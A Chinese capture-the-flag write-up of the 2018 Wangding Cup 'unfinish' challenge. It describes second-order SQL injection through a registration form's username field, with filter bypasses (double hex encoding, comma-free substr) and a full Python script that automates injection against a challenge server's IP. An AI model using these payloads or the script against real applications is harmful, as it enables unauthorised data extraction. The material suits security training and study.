网鼎杯之unfinish

题目来源:网鼎杯 2018 题目描述:SQL

问题:给一个页面,如何判断其有漏洞

通过awvs扫描得知存在 register.php 注册页面,并且注册界面存在SQL盲注漏洞。

题目提示SQL,在注册页面测试无果,且发现输入框限制了特殊字符,要用代理工具提交payload。

尝试构造sql盲注语句username=alice' and left(database(),1)>'a'#

得到结果为nnnnoooo!!!

即存在过滤

测试发现过滤了逗号、information等,那么使用盲注应该不太行了

尝试进行正常的注册、登录操作

发现注册成功时,系统返回302跳转到登录页面(注册失败时系统返回200)

登录时,使用邮箱和密码登录,登录成功后,系统返回302跳转到index.php页面,显示用户名

综上,登录时用到的是邮箱和密码,而注册时还有一个用户名,而这个用户名会在登录后显示,所以我们考虑用户名这里可能存在 二次注入 。

经过尝试,构造username=select database(),登录后显示用户名还是为select database(),说明后台代码可能把username用单引号引起来了,导致其无法显示。

构造payload如下

复制代码
aweba
email=test2%40qq.com&username=a'+(select hex(hex(database())))+'a&password=123456
​
#+这里加号要转义,否则会转为空格 %2b
insert into users (email, username, password) values ('$email', '0'+(select hex(database()))+'0', '$password');

进行两次hex解码后得到数据库名为web

复制代码
>>> "373736353632".decode('hex').decode('hex')
'web'

然后尝试获取表名失败,因为过滤了information

然后这里还要注意一个问题,就是当数据进过 两次hex 后,会得到较长的一串只含有数字的字符串,当这个长字符串转成数字型数据的时候会变成科学计数法,也就是说会丢失数据精度,如下:

所以这里我们使用 substr 每次取10个字符长度与 '0' 相加,这样就不会丢失数据。但是这里使用逗号 , 会出错,所以可以使用类似 substr(str from 1 for 10) (表示截取str字符串的第1个到第10个字符)这种写法来绕过,具体获取 flag 的代码如下:

复制代码
email=test3%40qq.com&username=0'%2B(select substr(hex(hex((select * from flag))) from 1 for 10))%2B'0&password=123456

进行两次hex解码后得到flag的前2位为:fl

运行脚本如下:

python 复制代码
import requests
import time
from bs4 import BeautifulSoup       #html解析器

def getDatabase():
    database = ''
    for i in range(10):
        data_database = {
            'username':"0'+ascii(substr((select database()) from "+str(i+1)+" for 1))+'0",
            'password':'admin',
            "email":"admin11@admin.com"+str(i)
        }
        #注册
        requests.post("http://220.249.52.133:36774/register.php",data_database)
        login_data={
            'password':'admin',
            "email":"admin11@admin.com"+str(i)
        }
        response=requests.post("http://220.249.52.133:36774/login.php",login_data)
        html=response.text                  #返回的页面
        soup=BeautifulSoup(html,'html.parser')
        getUsername=soup.find_all('span')[0]#获取用户名
        username=getUsername.text
        if int(username)==0:
            break
        database+=chr(int(username))
    return database

def getFlag():
    flag = ''
    for i in range(40):
        data_flag = {
            'username':"0'+ascii(substr((select * from flag) from "+str(i+1)+" for 1))+'0",
            'password':'admin',
            "email":"admin32@admin.com"+str(i)
        }
        #注册
        requests.post("http://220.249.52.133:36774/register.php",data_flag)
        login_data={
            'password':'admin',
            "email":"admin32@admin.com"+str(i)
        }
        response=requests.post("http://220.249.52.133:36774/login.php",login_data)
        html=response.text                  #返回的页面
        soup=BeautifulSoup(html,'html.parser')
        getUsername=soup.find_all('span')[0]#获取用户名
        username=getUsername.text
        if int(username)==0:
            break
        flag+=chr(int(username))
    return flag

print(getDatabase())
print(getFlag())

运行结果如下:

必须还得用脚本来,不然爆破不出想要答案

相关推荐
alxraves6 小时前
医院远程会诊系统:数据库模块设计与实现
数据库·oracle
wordpress资料库6 小时前
WordPress数据表前缀的修改方法(完整版)
数据库·wordpress数据表前缀·wordpress修改前缀
zhangphil7 小时前
Android RecyclerView图像类ViewHolder离屏缓存数量直接增加Java/View对象内存,间接增加Graphics/GL内存
android
苦瓜汤补钙7 小时前
Oracle JDK8 环境配置-Win11
开发语言·数据库·笔记·oracle
Dovis(誓平步青云)7 小时前
《 AI直连数据库落地实践:基于MCP协议打通开发工具与数据库全链路运维分析》
大数据·linux·运维·数据库·人工智能·架构
一缕清烟在人间7 小时前
鸿蒙应用开发实战【27】— DatabaseService 数据库初始化
javascript·数据库·harmonyos·鸿蒙系统
众少成多积小致巨7 小时前
Android C++ 编码规范指南
android·c++·google
ApacheSeaTunnel8 小时前
一套替代四套!同程旅行用 Apache SeaTunnel 搭建多模态统一数据通道
大数据·数据库·ai·开源·数据集成·seatunnel·技术分享·数据同步
段一凡-华北理工大学8 小时前
向量数据库实战:选型、调优与落地~系列文章02:Embedding 嵌入模型选型指南:OpenAI、BGE、Jina、Cohere 横评
大数据·数据库·人工智能·embedding·高炉炼铁·jina·工业智能体
️学习的小王8 小时前
MySQL 数据库基础操作全解:从建库到增删改查
数据库·mysql·oracle